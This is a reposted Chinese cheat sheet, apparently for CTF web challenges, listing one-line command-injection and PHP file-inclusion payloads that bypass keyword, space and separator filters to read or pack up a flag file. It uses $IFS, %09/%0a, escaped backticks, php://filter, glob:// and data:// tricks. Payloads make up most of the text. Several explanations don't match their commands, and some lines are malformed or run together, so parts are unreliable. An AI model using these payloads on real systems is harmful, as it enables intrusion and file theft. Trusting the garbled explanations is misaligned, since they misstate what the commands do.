本文共 1757 字,大约阅读时间需要 5 分钟。
通过在关键词前后使用转义符,例如 \,可以绕过过滤器。
cat \`flag\`
通过将变量拼接在一起,实现内联命令执行。
a=flag;b=php;cat $IFS$a$b
利用变量来隐藏关键词。
a=flag;b=php;echo $a$'_'$b
使用编码技术,例如Base64,将关键词隐藏在可读性较低的编码中。
echo 'cat' | base64
通过构造特殊字符,例如空格或换行符,来读取隐藏的文件内容。
cat /flag 2>/dev/null
通过使用特殊字符,例如 %09 或 $IFS,来替代空格。
cat %09flag.php
结合多种方法,例如使用 cat 和 grep,来过滤空格。
cat /flag | grep flag
通过使用命令管道,例如 cat *,来绕过目录分隔符的过滤。
;cd flag_is_here;cat *
通过使用特殊字符,例如 %0a 或 ;,来替代分隔符。
cat flag.php%0als
通过构造多个字符串,例如使用 \ 来表示换行符,来绕过长度限制。
echo "flag{hahaha}" > flag.txt 通过使用 system() 函数或命令管道,例如 sh,来执行命令并无回显。
curl http://target/flag.php > flag.txt
通过使用 php://input,结合 Base64 解码,来读取远程文件内容。
php://filter/convert.base64-encode/resource=flag.php
通过构造特定的 PHP 代码,结合 system() 函数,来执行远程命令。
通过使用完整路径,例如 /bin/cat,来绕过文件包含限制。
/bin/cat flag.php
grep 绕过过滤通过使用 grep 和通配符,来绕过关键词过滤。
grep flag.php f*.php
通过数学运算和字符串操作,构造特殊字符来绕过过滤。
$(())=0$((~$(())))=-1
通过构造特定的 PHP 代码,结合 data:// 协议,来读取远程文件内容。
data:text/plain;base64
glob:// 绕过目录限制通过使用 glob:// 协议,来绕过目录过滤。
glob:///*/*.php
通过使用 FilesystemIterator 和 ReflectionClass 等内置类,来实现远程命令执行。
v1=FilesystemIterator;v2=getcwd
通过构造特定的异常,结合 ReflectionClass,来实现远程命令执行。
new Exception
通过构造特定的 PHP 代码,结合 socket_connect 函数,来实现远程连接。
通过构造特殊请求,例如使用正则表达式,来绕过 WAF 过滤。
preg_match_all("/\/\//", $ip, $m) 通过构造特定的 PHP 代码,结合 readfile() 函数,来读取远程文件内容。
tar 压缩文件通过使用 tar 命令,将文件压缩后下载。
tar cvf flag.tar flag.php
bzip2 压缩文件通过使用 bzip2 命令,将文件压缩后下载。
bzip2 flag.php
通过以上方法,可以有效绕过各种防护措施,实现远程命令执行和文件包含,提升攻击面的多样性和效果。
转载地址:http://umug.baihongyu.com/